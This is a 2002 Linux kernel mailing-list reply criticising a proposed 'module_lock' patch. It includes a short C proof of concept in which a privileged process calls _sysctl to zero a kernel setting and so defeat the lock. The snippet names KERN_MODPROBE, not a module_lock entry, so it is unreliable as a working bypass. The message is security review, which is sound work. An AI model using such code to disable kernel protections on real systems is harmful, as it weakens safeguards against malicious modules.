Re: [PATCH] module locking

[Anton Altaparmakov]

At 08:30 29/04/02, Rolf Fokkens wrote:
>On Monday 29 April 2002 09:23, Thomas 'Dent' Mirlacher wrote:
> > the capable call is sthell there, but with the module_lock
> > kind or redundant.
>
>once set module_lock cannot be cleared, not even by root. This differs from
>the CAP_SYS_MODULE which can be activated by root, if I'm correct.
>
>module_lock is only a suggestion, w/o /dev/kmem write locking or even 
>locking writes on other /dev/.. or doing mounts it won't be full proof.

*sigh*

RTFM man 2 sysctl

With your patch applied AND module_lock set to 1, anyone with sufficient 
privileges could still do:

#include <linux/unistd.h>
#include <linux/types.h>
#include <linux/sysctl.h>

_syscall1(int, _sysctl, struct __sysctl_args *, args);
#define SIZE(x) sizeof(x)/sizeof(x[0])

int main(void)
{
         int name[] = { CTL_KERN, KERN_MODPROBE };
         int hack = 0;
         struct __sysctl_args args = { name, SIZE(name), 0, 0,
                         &hack, sizeof(hack) };

         if (_sysctl(&args)) {
                 perror("sysctl failed");
                 exit(1);
         }
         printf("module_lock has been zeroed! Muahaha!");
         return 0;
}

Good bye module_lock! /me waves

What was that about not being able to zero it again...?

Best regards,

Anton